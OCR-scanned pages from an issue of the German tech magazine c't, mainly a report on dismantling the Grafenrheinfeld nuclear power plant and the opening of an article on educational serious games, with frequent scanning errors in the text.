fremdete Charaktere wie gezeichnete
Katzen und Miuse, die einander mit Brat-
pfannen verpriigeln, und verfolgen die
Geschichte mit Vergniigen auf der Lein-
wand. Ein nur fast perfektes Ebenbild
lehnen sie aber als unrealistisch ab.

Solange nachgebildete Mimik wie
aus der Geisterbahn wirkt, fahren die
Hersteller besser damit, die Puppen
stumm sowie unbewegt auszuliefern und
den Rest der Fantasie der Kunden zu
tiberlassen. Nur eine kleine Gruppe wohl-
habender Kunden kann sich derzeit die
elektronischen Replikas leisten. Das
muss aber nicht ewig so bleiben: Es wire
nicht das erste Mal, dass ein Produkt den
Sprung von einer Nische in den Massen-
markt schafft - und von dort in andere
Bereiche des Lebens. (akr@ct.de) ¢t

c't 2024, Heft 17



WIR SIND NIGHT NUR NERDS.
WIR SIND AUCH VOM FAGH.

Jetzt 5x ¢’t lesen

fr 20,25 €
statt 2-25€"

Uberwachung a »
Arbeitsplatzni ct=" !

* im Vergleich zum Standard-Abo

C't MINIABO DIGITAL AUF EINEN BLICK:
« 5 Ausgaben digital in der App, ¢ Mit dem Digitalabo : Jetzt bestellen:

T - D - Vg =T = -~ - ~ ) ] e~ ~ D A1 AFr A ra \“W— -
im Browser und als PDF Geld und Papier sparen ct.de/nerdwissen

« Inklusive Geschenk nach Wahl  « Zugriff auf das Artikel-Archiv

@ ct.de/nerdwissen R, +49541/80009 120 ) leserservice@heise.de




Wissen | AKW-Riickbau

Adieu Atomkraft

Zu Besuch beim Riickbau des AKW Grafenrheinfeld

Einzelne Politiker fordern eine
Laufzeitverldangerung fiir Atom-
kraftwerke, die Realitat ist aber
mittlerweile eine andere: Der
Ausstieg ist nicht mehr auf-
zuhalten. Wir sind zu Besuch
beim Riickbau des AKW Grafen-
rheinfeld. Der Kraftwerksleiter
erzahlt, warum Riickbau Spaf3
macht, wo Wehmut aufkam und
wie penibel die Arbeit ablaufen
muss.

Von Clemens Gleich
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m 30.]Juni2011beschloss der Bundes-

tag unter dem Eindruck der Katastro-
phe von Fukushima zum zweiten Mal den
Atomausstieg. Und zuletzt am 10. April
2024 lehnte die Mehrheit der Abgeordne-
ten einen Antrag der Fraktion CDU/CSU
ab, der die letzten drei im Jahr 2023 vom
Netz gegangenen AKW fiir einen poten-
ziellen Weiterbetrieb sichern sollte. Atom-
kraftistin Deutschland nicht mehr mehr-
heitsfiahig. Jetzt geht es ans Aufraumen.
Wir besuchten das Kernkraftwerk Grafen-
rheinfeld (KKG) des Betreibers Preussen-
Elektraim Landkreis Schweinfurt, wo der
Riickbau in vollem Gange ist.

Das KKG war vom 17. Juni 1982 bis 27.
Juni 2015 in Betrieb und produzierte in

dieser Zeit rund 333 Terawattstunden
(TWh) Strom. Wihrend dieser 33 Jahre
blieb die Abgabe radioaktiver Strahlung
immer unterhalb der in Deutschland giil-
tigen Grenzwerte. Ein Kohlekraftwerk am
selben Standort hitte durch das in der
Kohle enthaltene Uran deutlich grofdere
Mengen Radioaktivitit in Menschenlun-
gen gebracht.

Das KKG war urspriinglich auf eine
Betriebszeit von 40 Jahren ausgelegt, also
bis zum Jahr 2022. Danach hitte der Re-
aktordruckbehilter erneuert werden
miissen, weil Stahl durch Neutronenbe-
schuss iiber die Zeit briichig wird. Um die
tatsidchliche Belastung zu ermitteln, wur-
den im Betrieb sogenannte ,,Einhidnge-
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proben®, also Materialproben, in den Re-
aktordruckbehilter gebracht, die in regel-
mafligen Abstinden analysiert und mit
den vorab prognostizierten Werten ver-
glichen wurden. Dadurch stellte man fest,
dass die tatsdchlichen Auswirkungen
deutlich geringer als gedacht waren und
verlingerte die maximal mogliche Lauf-
zeit.

Zusitzlich stellten die Betreiber Mitte
der 90er-Jahre auf eine schlaue Anord-
nung der Brennelemente um, welche die
Neutronenbelastung auf den Behilter
massiv reduziert. Dazu kamen die mehr-
fach redundante, konservativiiberdimen-
sionierte Konstruktion und ein pfleglicher
Umgang des Personals mit der Technik.

Der Besuch fiihlt sich an wie eine Zeit-
reise in die Achtzigerjahre, als das Kraft-
werk neuwar. Doch ein grofdes Lochin der
riesigen Stahldruckkugel des Sicherheits-
behilters um den Reaktorraum, das Platz
fiir einen Abtransportaufzug schafft, zer-
stort die Illusion gleich wieder.

Regulierung, Auflagen und
Sicherheit

Riickbau-Kraftwerksleiter Bernd Kaiser
arbeitete vorher schon am Riickbau der
Atombkraftwerke in Stade, Wiirgassen und
Unterweser. Die Erfahrungen beim Riick-
bau des Reaktordruckbehailters im AKW
Unterweser beschleunigten die Arbeiten
in Grafenrheinfeld bereits deutlich. ,,In
Unterweser dauerte die Demontage des
Reaktordruckbehilters noch circa 1,5
Jahre", sagter. ,, In Grafenrheinfeld dauer-
te es noch ein Jahr. Beim nichsten Mal
miissen wir noch schneller sein.”

Der Zeitbedarf beim Riickbau eines
AKW hingt an zwei grofien, miteinander
verflochtenen Faktoren: Regulierung und
Sicherheit. Jeder Schnitt durch ein Kabel
muss beantragt werden und ohne Erlaub-
nis wird nichts geschnitten. So dauert es
sechs bis sieben Wochen, bis ein zum
Riickbau markiertes Kabel wirklich ge-
trennt werden darf. In einem Kraftwerk
liegen sehr viele Kabel, und diese lassen
sich anhand der sehr guten, aber schema-
tisch erstellten Kabelplane nicht immer
leicht lokalisieren. Aufderdem wurden
beim Bau des Kraftwerks wichtige Kabel
verbunden. Das war gut fiir die Redun-
danz, also die Betriebssicherheit, ist aber
schlecht fiir den Riickbau.

Die Auflagen, vor allem zum Arbeits-
schutz, verscharfen sich zudem stetig,
sodass abseits aller radiologischer Maf3-
nahmenvieleslanger dauert oder gar nicht
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mehr so gemacht werden darf wie frither
iiblich.

Achtzigerjahre:
Kein Gedanke an Riickbau

»Das hier wurde alles fiir optimalen Be-
trieb gebaut*, sagt Kaiser. ,,An Riickbau
hat damals niemand gedacht. Deshalb
herrschen hier fiir unsere Arbeit teils ka-
tastrophale Bedingungen, die sie enorm
verlangsamen.” Wir steigen hoch und bli-
cken hinunter zu den zwei mittlerweile
leeren Becken fiir den Reaktor und das
Abklingen benutzter Brennelemente. Im
Abklingbecken liegen zersigte Teile der
Reaktorperipherie, weil man dort einfa-
cher arbeiten kann als im kleineren Re-
aktorbecken. Auch daswar eine Erfahrung
aus vorherigen Riickbauten.

Unter dem Kuppeldach steht ein mas-
siver Briickenkran mit gelben Stahltra-
gern, der im Regelbetrieb unter anderem
fiir die Revision verwendet wurde. Da
Wasser die von den Brennelementen aus-
gehende Beta-und Gammastrahlung stark
abschwicht, fand der Transport der Re-
aktorteile, wie im Aufmacherfoto zu
sehen, unter Wasser statt. Dazu wurde
eine Schiitztafel zwischen beiden Becken
geoftnet. Techniker zerkleinerten die ak-
tivierten Einbauten des Reaktordruckbe-
hilters unter Wasser mit per Kabel fern-
gesteuertem Werkzeug.

»Der einzelne Kran ist ein echter Fla-
schenhals, genauso wie der mangelnde

AKW-Riickbau | Wissen

€€ kompakt

e Der Ausstieg aus der Atomkraft ist
in Deutschland unausweichlich. Wir
haben Technikern bei der Demon-
tage des AKW Grafenrheinfeld Giber
die Schulter geschaut.

Strenge Sicherheitsauflagen pragen
den Rickbau. Jede MaBnahme

vom Trennen von Kabeln bis zum
Umgang mit radioaktivem Material
erfordert griindliche Planung.

Der Hochleistungsanschluss ans
Stromnetz pradestiniert den Stand-
ort fir energieintensive Technik wie
Wasserstoff-Elektrolyse oder Strom-
speicher.

Platz“, sagt Kaiser. Aus Sicherheitsgriinden
wird das Kraftwerk von innen nach aufden
abgebaut, also von hoher radioaktiv bis
hinunter zur natiirlichen Hintergrund-
strahlung. Damit reduziert sich schrittwei-
se das Risiko fiir das beteiligte Personal,
157 Mitarbeiter von PreussenElektra plus
je nach Projektabschnitt 500 bis 600 Ex-
terne. Mit wachsendem Abstand zum Kern
sinken die ndtigen Sicherheitsmafinahmen
und steigt die mogliche Arbeitsgeschwin-
digkeit. Das bedeutet aber auch: Die Inne-
reien miissen durch die Flaschenhilse.

Auf dem Kraftwerksgelande herrscht noch einige Zeit reger Betrieb,
es ist nur ein anderer als wahrend der Stromerzeugung.
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Mittlerweile ist es nicht mehr nétig,
den kugelformigen Sicherheitsbehilter
aus Stahl abzuschirmen, der alsvierte Bar-
riere den Reaktorbereich umschliefdt, weil
die stark radioaktiven Teile entfernt sind.
Deshalb hat das Riickbauteam ein Lochin
die Stahlkugel geschnitten und einen Auf-
zug installiert, der den Kran unterstiitzt.
»Das war echt eine grof3e Hilfe", erinnert
sich Kaiser. ,,Es wire gut, wenn bei der
Konstruktion schon an Riickbau gedacht
wiirde. Als sie am finnischen AKW-Stand-
ort Olkiluoto den dritten Kraftwerksblock
planten, dachten sie schon an Riickbau.
Sie fragten mich, was nach meiner Erfah-
rung besonders wichtig sei. Ich sagte:
mehr Krane! Mehr Platz! Sie sagten aber,
das sei zu teuer.”

Alles auf KistengroBBe
kleinschneiden

Die Baustelle steht voller Kisten, hier
»Mulden® genannt. Die ganze System-
technik muss auf diese Kistengrofie zu-
rechtgeschnitten, nach Material sortiert
und auf Kontamination vermessen wer-

den. Ziel ist es, bei der ,Freimessung"
ganz am Ende, die vom Amt noch einmal
kontrolliert wird, keine Riicklaufer zu
haben. ,,Bisher hat es geklappt*, sagt Kai-
ser und driickt die Daumen.

Beim Schneiden hat sich herausge-
stellt, dass vermeintlich schnelle High-
tech-Losungen am Ende langer dauern.
»Friher kamen Plasmaschneider zum
Einsatz“, erzahlt Kaiser, ,aber damit
wurde es schwer, die verscharften Vorga-
ben fiir die beim Schneiden entstehenden
Gase einzuhalten. Dann schnitten wir mit
wasserabrasiven Schneidern, die Wasser
mit Metallpartikeln verwenden. Das pro-
duzierte aber viel Abwasser, das dann auf-
bereitet werden musste. Wasseraufberei-
tung heifdt: Ich muss es verdampfen, weil
die Kontamination im Feststoffanteil ver-
bleibt. Zum Betrieb gab es mit dem Re-
aktor Wirme im Uberfluss. Heute miissen
wir die Warme mit Gas, Olund Strom her-
stellen. Letztlich kamen wir zum einfa-
chen Trockenschneiden. Der reine Schnei-
devorgang dauert dann zwar langer, dafiir
sind wir insgesamt schneller.”

Schema eines Druckwasserreaktors

Die Kihlttirme sind optional, es gibt auch Anlagen, die direkt
mit Flusswasser kiihlen. Die Kihltirme im KKG sorgen allerdings
dafir, dass das rickgefiihrte Wasser des Mains nur 1 K warmer

ist als das zugefihrte.

Turbinen-Niederdruckteil

Turbinen-Hochdruckteil

Wasserabscheider und Zwischeniiberhitzer
Speisewasserpumpe

Dampferzeuger
Brennelementlagerbecken

Reaktordruckbehalter

HauptkiihImittelpumpe
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Transformator

Das Material inden Mulden durchlauft
mehrere Reinigungsprozesse, die jeweils
mogliche Kontaminationen entfernen: wa-
schen, mit Metallpartikeln strahlen, in ex-
tremo schmelzen. Aufderdem diirfen beim
Zerteilen keine Einschliisse entstehen, alle
Oberflichen miissen offen liegen. Eine
Rohrleitung etwa wird halftig aufgeschnit-
ten. Nur so kann die Oberflichenmessung
valide Ergebnisse liefern. An der Messsta-
tion misst ein Mitarbeiter Betonstiicke. Das
Gerit zeigt Gammastrahlung an, aller-
dings nicht aus dem Reaktorbetrieb, son-
dern aus natlirlichem Kalium-40, das in
der Gesteinskornung jedes Betons vor-
kommt. Der Messwert bleibt weit unter
dem Grenzwert.

Die niedrigen Grenzwerte sind gut
gemeint, fithren angesichts der natiirli-
chen Radioaktivitit jedoch zu Schwierig-
keiten. , Kopfsteinpflaster etwa diirfte
nicht hinaus aus dem KKG“, sagt Bernd
Kaiser. ,,Es ist zwar nattrlich, enthilt aber
unter anderem Radium-226 und Thori-
um-232und iiberschreitet unsere verlang-
ten Grenzwerte bei Weitem. Kopfstein-

c't 2024, Heft 17
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Der Reaktordruckbehalter wird aus seiner Grube gehoben. Der Neutronenbeschuss
hat Teile des Reaktors aktiviert, sie strahlen danach also von sich aus. Diese Teile

werden im Schacht Konrad eingelagert.

pflaster miisste daher zusammen mit
anderem schwach radioaktiven Material
ins Endlager Konrad entsorgt werden.
Auch einen Brenner aus einem Kohle-
kraftwerk miissten wir aufgrund der Kon-
tamination durch Radionuklide in der
Kohle endlagern, wihrend ein Kohlekraft-
werksbetreiber ihn einfach zum Recycling
geben kann. Deshalb dauert der Abbruch
eines Kohlekraftwerks 1,5 Jahre und der
eines Kernkraftwerks 15 Jahre.

Die niedrigen Grenzwerte sollen si-
cherstellen, dass radioaktive Strahlung aus
der Stromgewinnung selbst unter den un-
giinstigsten Bedingungen nur einen
Bruchteil der natiirlichen Exposition aus-
macht. Die erlaubte Dosiserhohung fiir
Menschen betrégt 10 Mikrosievert (uSv),
das entspricht ungefahr fiinf Tagen Auf-
enthalt in Norddeutschland. Die dafiir
notwendigen peniblen Messungen brau-
chen Zeit. Ein KKG-Bruchstiick braucht
im Schnitt drei Monate, bis es alle Schritte
durchlaufen hat und nach draufden darf.

Faktor Mensch

Vom Stammpersonal aus dem Leistungs-
betrieb sind viele geblieben, um den Riick-
bau abzuwickeln. Manche kampften mit
ihren Emotionen: Was sie so lange be-
wabhrt hatten, sollten sie nun zerteilen und
zum Recycling geben. Das kostete Uber-
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windung. Grafenrheinfelds erster Kraft-
werksleiter Eberhard Wild wollte den
Riickbau zunéchst gar nicht sehen, es ging
ihm zunahe. Irgendwann dnderte er seine
Meinung: ,,Ich war iiberrascht, mit wel-
cher Prazision und Fachkunde die Arbei-
ten erledigt werden. Der Riickbau wird
zligig und fachgerecht abgewickelt. Mit
groflem Ehrgeiz wird die Herausforderung
umgesetzt. Gliick auf!“

Den Anwohnern bietet PreussenElek-
tra zweimal im Jahr Fithrungen an, auf
denen sie den Fortschritt verfolgen kon-
nen. ,Angst hat da, glaube ich, keiner vor
unserem Riickbau®, sagt Kaiser, ,es ist
eher Neugier.“ Auch beim Recycling geht
esnicht ohne Informationen. Manche Ver-
werterbetriebe sind froh, Material aus
einem AKW zu erhalten, weil das beson-
ders sauber ist und obendrein amtlich auf
Ungefihrlichkeit gepriift. Andere sind
skeptisch. Thnen hilft, wenn man mit
einem Messgerit die verschiedenen Emis-
sionslevel demonstriert und in den Kon-
text natlirlicher Radioaktivitat setzt.

Es ist schwer, neues Personal zu
finden. Wer will in Deutschland Kerntech-
nik studieren, wenn der Bedarf stetig
sinkt? Kaiser versucht, den Leuten einen
tollen Arbeitsplatz und gute Teamstim-
mung zu bieten, damit sie bleiben. ,,Riick-
bau macht total SpaRR®, sagt er. ,,Im Leis-
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Blick von oben ins Abklingbecken: Wasser und Brennelemente sind langst fort.
Jetzt werden am Boden des Beckens Teile des Reaktors zerkleinert.

tungsbetrieb sind die Tage sehr gleichfor-
mig, nur unterbrochen durch die Revisio-
nen. Im Riickbaubetrieb gibt es jeden Tag
neue Herausforderungen. Kaum jemand
wiinscht sich heute noch die Arbeit aus
dem Leistungsbetrieb zuriick.”

Was bleibt

Aus dem KKG wurden und werden 600
Tonnen Reaktorschutt entsorgt, dazu
1500 Tonnen Systembauteile aus dem
Umfeld des Reaktors, zum Beispiel aus
dem Druckwasser-Primirkreislauf. Ins-
gesamt umfasst die Demontagemasse
27.000 Tonnen. Ungefiahr 96 Prozent
davon sind wiederverwertbar und gehen
ins Recycling. Etwa 2 Prozent werden be-
seitigt und kommen unter anderem aufdie
Deponie. 2 Prozent miissen in ein Endla-
ger flirradioaktiven Abfall. ,,Zu Beginn der
2030er Jahre" soll laut der Bundesgesell-
schaft fiir Endlagerung (BGE) das Endla-
ger Konrad fiir schwach- bis mittelradio-
aktive Abfille in Salzgitter 6ffnen.

Die verbrauchten Brennelemente
wurden nach dem Abklingen in Castor-Be-
haltern trocken eingelagert. Sie stehen auf
dem ehemaligen Kraftwerksgeldnde im
dazu errichteten Zwischenlager, das fiir
biszu 88 Castor-Behilter angelegt ist. Die
BGZ Gesellschaft fiir Zwischenlagerung
mbH, ein privatwirtschaftlich organisier-
tes Unternehmen des Bundes, hat es im
Jahr 2019 tibernommen. Ein weiteres Zwi-
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schenlager fiir schwach- und mittelradio-
aktiven Abfall aus dem Betrieb und Riick-
bau wurde 2021 iibernommen.

Es gibt allerdings noch kein Endlager
fir die hochradioaktiven Abfille. Und wie
alles in der Kerntechnik wird das auch

noch dauern. Auf dem weiteren Kraft-
werksgeldnde fallen dann noch ungefihr
475.000 Tonnen nicht belasteter konven-
tioneller Bauschutt an.

Ebenfalls unentschieden: Was pas-
siert mit dem Standort? Der Hochleis-
tungsanschluss ans Stromnetz pradesti-
niert ihn fiir Unternehmungen wie Was-
serstoff-Elektrolyse oder Stromspeicher.
Man konnte auch fliissige Energietriger
aus Wasserstoff und einer Kohlenstoff-
quelle herstellen, also Ammoniak fiir die
Schifffahrt, Kerosin fiir die Luftfahrt oder
Methanol, Benzin und Diesel fiir den Ver-
kehrssektor. Grafenrheinfelds Biirger-
meister will gerne wieder die Energiewirt-
schaft am Ort haben, denn das Kraftwerk
war mit ein Grund, warum seine Gemein-
de zu den reichsten in Bayern gehort.

Die Riickfahrt vom KKG geht vorbei
an Windradern und Solarflichen. Die
neue Stromerzeugung steht iiberall so
prominent herum, dass man sie nicht ig-
norieren kann, denn so befassen wir uns
zwangsliufig mit der Energie, die unseren
Wohlstand antreibt. Man muss ein dre-
hendes oder stehendes Windrad nicht
erklaren. Im Besucherzentrum des KKG
stand zuletzt eine grofde Null auf dem
Zihler, er hat ausgezahlt. Was danach
kommt, tritt in grofde Fufdstapfen.

(akr@ct.de) ct

Durch diese Druckschleuse kamen und gingen die Brennelemente.
Von auBBen nimmt sie ein Ladekran fiir den Weitertransport auf (im
gelben Helm Kraftwerksleiter Bernd Kaiser).

c't 2024, Heft 17
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Lernabenteuer

Serious Games: Lehrreich und trotzdem unterhaltsam

Digitale Spiele konnen mehr als
nur Spaf3 machen: Sie vermitteln
Sprachkenntnisse, helfen beim
Programmierenlernen, klaren
tiber 6kologische Zusammen-
hidnge auf und machen das
Grauen des Nationalsozialismus
greifbar. Wir stellen einige Spie-
le vor und zeigen, was sie von
anderen Games abhebt.

Von Paul Kautz
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er Begriff ,,Serious Game" ist eigent-

lich ein Oxymoron: Ein Spiel ist an
sich etwas Leichtherziges, ein unterhalt-
samer Zeitvertreib, eine Ablenkung von
den ernsten Dingen des Lebens. ,,Der
Mensch ist nur da ganz Mensch, wo er
spielt”, wusste schon Friedrich Schiller im
spaten 18. Jahrhundert. Und trotzdem gibt
es da das Genre der Serious Games, das
nach Abgrenzung von reguldren Spielen
sucht. Kann Spielen wirklich eine derart
ernste Sache sein?

Wenn man auf die Zahlen blickt, muss
man den Markt der Serious Games durch-
aus ernst nehmen: 2023 hat er einen Um-
satz von knapp zehn Milliarden US-Dollar
generiert. Im Vergleich mit der weltweiten

Spieleindustrie ist das zwar nicht viel,
denndie erreichte laut dem Statistikanbie-
ter Statista im Jahr 2023 einen weltweiten
Gesamtumsatz von knapp 250 Milliarden
US-Dollar. Doch die Marktforschungsfir-
ma IMARC hat auf Basis der Entwicklung
vergangener Jahre errechnet, dass sich der
Umsatz der Serious Games in der kom-
menden Dekade etwa versechsfachen
diirfte. Man sollte diesen stetig wachsen-
den Markt also auch nicht unterschitzen.

Was ist ein Serious Game?

Der Begriff der Serious Games umfasst ein
grofdes Feld - nicht nur thematisch, son-
dern auch was die Spielmechaniken an-
geht. Ganz grundsatzlich ist jedes digitale
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Spiel ein Serious Game, das nicht der rei-
nen Unterhaltung dient, sondern primir
Lerninhalte vermittelt. Felix Falk, der Ge-
schiftsfithrer des Branchenverbandes
game, der unter anderem den Deutschen
Computerspielpreis ausrichtet, formuliert
esfolgendermafien:,,Serious Games kon-
nen lehrreich, informativ und gleichzeitig
durch die Interaktion unterhaltsam und
fesselnd sein. Beispielsweise kann ich in
einer spielerischen 3D-Simulation als Me-
dizinstudent den Arbeitsalltag in der Not-
aufnahme besser kennenlernen oder als
Schiiler in Games neue Sprachen lernen.
Damit kann ich also wertvolle Hard- und
Soft-Skills erlernen und trainieren.”
Serious Games sind nicht zwangsldu-
fig Spiele, die sich um ein ernsthaftes
Thema drehen. Sie nutzen bekannte Spiel-
mechaniken, stellen dabei aber bestimm-
te Lerninhalte in den Mittelpunkt. Dabei
landet die Bezeichnung ,,Serious Game*
aufganzunterschiedlichen Titeln: Ameri-
ca's Army (2002) zum Beispiel war auf der
einen Seite ein klassischer Ego-Shooter,
aufder anderen Seite dagegen ein aktives
Rekrutierungsprogramm der US Army,
dasden Spielern unter anderem aufechten
Einsitzen basierende Informationen wie
ein Feldmedizinertraining naherbrachte.
Die Arbeit eines Neurochirurgen wieder-
um simuliert Life & Death Il: The Brain
(1990) und zwar mit grofitenteils realisti-
schen Chirurgieinstrumenten und Opera-
tionsablaufen. Der Titel Ring Fit Adventu-
re (2019) wirkt aufden ersten Blick wie ein
klassischer 3D-Plattformer im Stile von
»Super Mario Odyssey* (2017). Im Kern
istesaber einvon Nintendo in Zusammen-
arbeit mit medizinischen Fakultiten und
Fitnessprofis entwickeltes Heimtrainer-
programm und einer der wichtigsten Ver-
treter des sogenannten ,,Exergaming” -

Das kostenlose Browserspiel ,Welten der Werkstoffe*
vermittelt Werkstoffkunde im Stile eines klassischen
Point-&-Click-Adventures.
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also Spielen, die aktiv die korperliche
Fitness verbessern wollen. Denn hier
rennt und springt man mit dem Pilates-
Ring in der Hand durch eine farbenfrohe
3D-Welt im Comicstil und bekampft die
putzigen Feinde durch Kniebeugen, Liege-
stiitze, Seitschritte oder Yogaiibungen.

Spaf beim Lernen

Die Grenze zwischen Serious Games und
rein dem Spafd verschriebenen Spielen ist
verschwommen. Eine scharfe Abgrenzung
soll es laut Jonas Zimmer auch gar nicht
geben, im besten Fall sei der Unterschied
gering. Der Postdoktorand an der Univer-
sitdt Bonn ist Erschaffer des Spiels Welten
der Werkstoffe und hat damit 2021 den
Preis fiir das beste Serious Game beim
Deutschen Computerspielpreis (DCP) ge-
wonnen. ,Welten der Werkstoffe” steht als
Browserspiel kostenlos zur Verfligung. In
diesem Point-&-Click-Adventure konnen
Studierende verschiedener Ingenieursstu-
dienginge ihr Wissen in der Werkstofftech-
nik nutzen, um unterhaltsame Herausfor-
derungen zu 16sen. ,,Die grofde Kunst der
Serious Games ist es, klassische Lernauf-
gaben in ein unterhaltsames Gewand zu
stecken, beschreibt Zimmer das Genre.
Dass das Lernen auf diese Weise un-
terhaltsamer ist, versteht sich von selbst:
Wie viel Spaf$ macht zum Beispiel klassi-
sches Vokabelpauken? Gesicht ins Buch,
das zu lernende Wort 100 Mal wiederho-
len, Eselsbriicken aufbauen, neurale Ver-
bindungen errichten - klar funktioniert
das. Besser gehts allerdings im Spiel. Lern-
erfolge quittiert der Korper dann mit einer
ordentlichen Dopaminausschiittung. Tdg-
liche, wochentliche oder monatliche Her-
ausforderungen halten die Motivation
hoch, weiterzumachen. Diese Mechanis-
men, bekannt als ,,Digital Game-based

Bild: Quantumfrog

Schrecken.
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€€ kompakt

e Serious Games verbinden Lernen
mit Spielspal.

e Ganz unterschiedliche Dinge kon-
nen im Spiel erlernt und erfahren
werden.

¢ Viele Serious Games sind Auftrags-
arbeiten und stehen kostenlos zur
Verfligung.

Learning®, sind zwar super-simpel, aber
effektiv.

Dieses Wissen nutzt Vocabicar, das
der DCP 2018 als bestes Serious Game
ausgezeichnet hat. In diesem Rennspiel
lernen vor allem Kinder in einer verspiel-
ten 3D-Umgebung Englisch: Auf Smart-
phones oder Tablets rasen sie mit Comic-
autos durch kunterbunte Umgebungen,
sammeln dabei Buchstaben oder Worter
einund lernen auf diese Weise spielerisch
die englische Sprache. Das deutsche Stu-
dio Quantumfrog hat das Spiel in Zusam-
menarbeit mit dem Schulbuchverlag Wes-
termann entwickelt. ,,Uns war es wichtig,
dass das Lernen Spafd macht und mit Ent-
deckung verbunden ist - Vokabeln passen
einfach sehr gut zum Entdecken®, be-
schreibt Hendrik Rump, CEO von Quan-
tumfrog, die Entstehung. ,Der Film Toy
Story hat uns beim Setting inspiriert, und
so sind wir dann bei einem Rennspiel ge-
landet, in dem man durch ein frohliches
Szenario flitzt und wahrend des Rasens
Vokabeln einsammelt.”

Manche Spiele vermitteln zwar auch
ernsthafte Inhalte, werden aber wie jedes
andere Spiel vertrieben. Im Strategiespiel

Rasantes Englischlernen in Vocabicar: Ein , Toy Story“-
dhnliches Szenario nimmt dem Vokabelpauken seinen
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In Terra Nil muss man eine 6de Landschaft nach und
nach begriinen und Tiere neu ansiedeln, bis das Oko-

system wieder rund lauft.

Terra Nil [1] des stidafrikanischen Studios
Free Lives erfahrt man nebenher, wie viele
unterschiedliche Elemente ineinander-
greifen miissen, bis aus einer kargen, leb-
losen Landschaft ein blithendes, lebendi-
ges Okosystem wird (Video siehe ct.de/
y25a). Das Spiel wird auf den iiblichen
Spieleplattformen verkauft. Mehr solche
Spiele haben wir bereits in [2] vorgestellt.
Ebenfalls zweigleisig fihrt Minecraft:
Das weltweit beliebte Sandbox-Spiel von
Mojang ist per se schon ein Abenteuerspiel-
platz, der die Kreativitdt mit umfangreichen
Baumoglichkeiten fordert. Publisher Mic-
rosoft hat zusitzlich die Minecraft Educa-
tion Edition speziell fiir den Unterricht
herausgebracht, die sich gut und gerne als
Serious Game bezeichnen ldsst. Sie bietet
hunderte von Lektionen fiir ganz verschie-
dene Lehrbereiche von Mathematik und
Programmieren iiber Naturwissenschatft,
Klima und Nachhaltigkeit, Geschichte und
Kultur bis hin zu Sprachwissenschaften
sowie Fairness und Inklusion. Bis zu 30
Schiilerinnen und Schiiler konnen dabei
gemeinsam an einer Lektion arbeiten und
in fantasievoll gebauten Welten lernen,
Probleme der echten Welt zu 10sen.

Serious Games (Auswahl)

Spieletitel Assassin's Creed: Discovery Tour _ Friedrich Ebert - Der Weg zur Minecraft Education Edition Papers, Please
Demokratie

Landesverband Kinder- und Jugend-
film Berlin e.V.,

Hersteller, URL  Ubisoft, ubisoft.com/de-de/game/

assassins-creed/ discovery-tour

Beianderen wiederum steht der Lehr-
auftragim Vordergrund: In Friedrich Ebert
- Der Weg zur Demokratie sitzt man am
virtuellen Schreibtisch des historischen
Politikers und liest Briefe tiber die aktuel-
le politische Lage und gesellschaftliche
Herausforderungen. Das Spiel beleuchtet
vier Phasen aus Eberts politischem Leben:
seine Wahl zum SPD-Parteivorstand An-
fang des 20. Jahrhunderts, den Ersten
Weltkrieg, Revolution und seine Rolle in
der Weimarer Republik. Das kostenlose
Browserspiel ist auf vielen Plattformen
spielbar; fiir den Einsatz im Unterricht gibt
es ein 95-seitiges Begleitheft. Der DCP
zeichnete das Spiel 2024 als bestes Serious
Game aus. Finanziert wurde es aus Son-
dermitteln der Beauftragten der Bundes-
regierung fiir Kultur und Medien (BKM).

Auch das comichafte Point-&-Click-
Abenteuer Ezra hat sich der politischen
Bildung verschrieben. Im Spiel unterstiitzt
die Protagonistin Ezra ihre Mitmenschen
bei der Losung von Konflikten, indem sie
Informationen sammelt, Fake News her-
ausfiltert und dabei Partizipationsmog-
lichkeiten wie Demonstrationen und Peti-
tionen ndherbringt. Dank begleitendem

Playing History,
ebert-gedenkstaette.de/das-spiel

Iv-kijufi.itch.io/ezra

Mojang, Microsoft,
education.minecraft.net

Das politische Leben von Friedrich Ebert steht im gleich-
namigen Serious Game im Mittelpunkt. Briefe vermitteln
dabei die Geschichte.

Lehrmaterial eignet es sich auch fiir die
politische Bildung in der fiinften und sechs-
ten Klasse. Der DCP hat das Spiel 2022 als
bestes Serious Game ausgezeichnet.

Jetzt wird'’s ernst!

Auch wenn nicht das Lernen im Vorder-
grund steht, konnen Spiele knifflige The-
men wie emotionale Katastrophen, Kriege
oder Krankheiten thematisieren. Das Ber-
liner Entwicklungsstudio Paintbucket
Games beschiftigt sich in seinen Spielen
mit der Zeit des Nationalsozialismus. Im
Strategiespiel Through the Darkest of
Times griindet man eine zivile Wider-
standsgruppe im Berlin der Nazizeit, ver-
teilt Flugblitter, stiehlt Waffen und plant
Anschlage. Im noch in der Entwicklung
steckenden The Darkest Files (Video siehe
ct.de/y25a) rekonstruiert die Staatsanwél-
tin Esther Katz echte Naziverbrechen, um
die Schuldigen vor Gericht zu bringen.
Vor schwierige Entscheidungen stellt
das Spiel Papers, Please (2013), entwickelt
von Lucas Pope. In der Rolle eines Grenz-
beamten in einem totalitdren Staat muss
man hier auf Basis sich taglich andernder
Anweisungen dariiber entscheiden, wer

3909 LLC, papersplea.se

Genre Rollenspiel Point-&-Click-Adventure Visual Novel Sandbox-Crafting-Game Strategiespiel
Thema Kultur und Gesphichte im antiken Politische Bildung fiir 9- bis Historisches Wissen, Demokratie, Lektionen, Welten und Tutorials aus Moralische Dilemmas eines Beamten,
Griechenland, Agypten oder der 12-Jahrige politisches Handeln diversen Wissensgebieten der Giber die Einreise, Abweisung und
Wikinger und Angelsachsen im Festnahme von Menschen entscheidet
9. Jahrhundert
Systeme Windows ab 7, XBox Series X/S Webbrowser Webbrowser macO0S ab Big Sur 11, Windows ab 10, ' Linux, macOS, Windows ab XP, Android,
Android ab 8, i0S/iPad0S ab 11 i0S, Steam Deck
sowie ein Microsoft-365-Konto
Preis 1999 € kostenlos kostenlos Office 365 Education Account 4,99 €-9,99 € je nach Plattform
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Das Point-&-Click-Adventure Ezra behandelt spielerisch
Themen wie gesellschaftliches Engagement und politi-
sche Partizipation.

die Grenze passieren darf und wer nicht.
Dabei muss man selbst die Regularien ak-
ribisch beachten und darf keine Fehler
machen. Klingt simpel, entwickelt sichim
Laufe des Spiels aber zu einem haarstrau-
benden Drama, bei dem man abwigen
muss, wie viel Empathie man den Einrei-
senden entgegenbringen darf, wenn auf
einmal das Schicksal der eigenen Familie
von diesen Entscheidungen abhangt.

Eines der seltenen Serious Games
eines AAA-Publishers ist Valiant Hearts:
The Great War. Die animierte Graphic
Novel mit Adventure-und Puzzle-Anteilen
stammt von Ubisoft und thematisiert die
Grausambkeiten des 1. Weltkriegs und die
